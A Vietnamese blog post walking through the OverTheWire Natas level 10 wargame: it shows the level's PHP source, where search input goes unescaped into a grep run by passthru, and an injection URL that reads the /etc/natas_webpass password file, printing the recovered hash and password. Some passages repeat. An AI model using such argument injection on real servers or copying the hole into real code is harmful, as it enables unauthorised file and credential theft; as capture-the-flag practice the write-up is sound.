<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}?></pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}?></pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Theo cái src trên, ta thấy nó đã lọc hết các kí tự [;|&] rồi
Chúng ta chỉ cần sử dụng ".*" để đọc các đuôi khác như .htaccess và .htpasswd
Output:
.htaccess:AuthType Basic
.htaccess: AuthName "Authentication required"
.htaccess: AuthUserFile /var/www/natas/natas10//.htpasswd
.htaccess: require valid-user
.htpasswd:natas10:$1$dYhB0rib$gjrnsq.gx3SxFw0povXDp/
Đây là key: natas10:$1$dYhB0rib$gjrnsq.gx3SxFw0povXDp/
Có vẻ k đúng hướng rồi :(
Quên mất rằng .htpasswd bị mã hóa
Ta đành kiếm file chứa pass vậy: http://natas10.natas.labs.overthewire.org/?needle=.+%2Fetc%2Fnatas_webpass%2Fnatas11+%23&submit=Search
Output:
Có vẻ k đúng hướng rồi :(
Quên mất rằng .htpasswd bị mã hóa
Ta đành kiếm file chứa pass vậy: http://natas10.natas.labs.overthewire.org/?needle=.+%2Fetc%2Fnatas_webpass%2Fnatas11+%23&submit=Search
Output:
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

0 nhận xét:
Đăng nhận xét